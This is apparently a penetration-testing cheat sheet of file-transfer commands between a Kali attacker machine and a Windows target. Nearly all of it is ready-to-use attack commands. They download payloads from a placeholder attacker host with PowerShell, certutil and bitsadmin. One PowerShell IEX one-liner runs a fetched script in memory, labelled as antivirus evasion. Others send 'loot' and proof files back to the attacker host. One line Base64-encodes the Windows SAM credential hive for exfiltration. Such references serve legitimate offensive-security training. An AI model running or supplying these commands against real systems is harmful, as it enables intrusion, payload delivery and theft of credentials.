Kali → Windows Target
PowerShell DownloadFile
(New-Object System.Net.WebClient).DownloadFile("http://<YOUR-IP>:8080/file.exe","C:\Windows\Temp\file.exe")PowerShell IWR (wget equivalent)
Invoke-WebRequest -Uri "http://<YOUR-IP>:8080/file.exe" -OutFile "C:\Windows\Temp\file.exe"
PowerShell IEX · execute in memory (AV evasion, no disk write)
IEX(New-Object Net.WebClient).DownloadString("http://<YOUR-IP>:8080/script.ps1")certutil · always available, even restricted environments
certutil -urlcache -split -f http://<YOUR-IP>:8080/file.exe C:\Windows\Temp\file.exe
certutil -decode encoded.b64 output.exe # Base64 decode
bitsadmin
bitsadmin /transfer job /download /priority normal http://<YOUR-IP>:8080/file.exe C:\Temp\file.exe
SMB copy (start impacket-smbserver on Kali first)
copy \\<YOUR-IP>\share\file.exe C:\Windows\Temp\file.exe
evil-winrm upload
upload /kali/path/file.exe
Windows Target → Kali
PowerShell upload to Python HTTP server (Kali needs: python3 -m uploadserver)
Invoke-RestMethod -Uri "http://<YOUR-IP>:8080/upload" -Method Post \ -InFile C:\Windows\Temp\proof.txt
SMB copy back to Kali
copy C:\loot\file.txt \\<YOUR-IP>\share\
evil-winrm download
download C:\Users\Administrator\Desktop\proof.txt
Base64 encode and copy
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Windows\System32\config\SAM"))Decode on Kali:
echo "BASE64" | base64 -d > SAM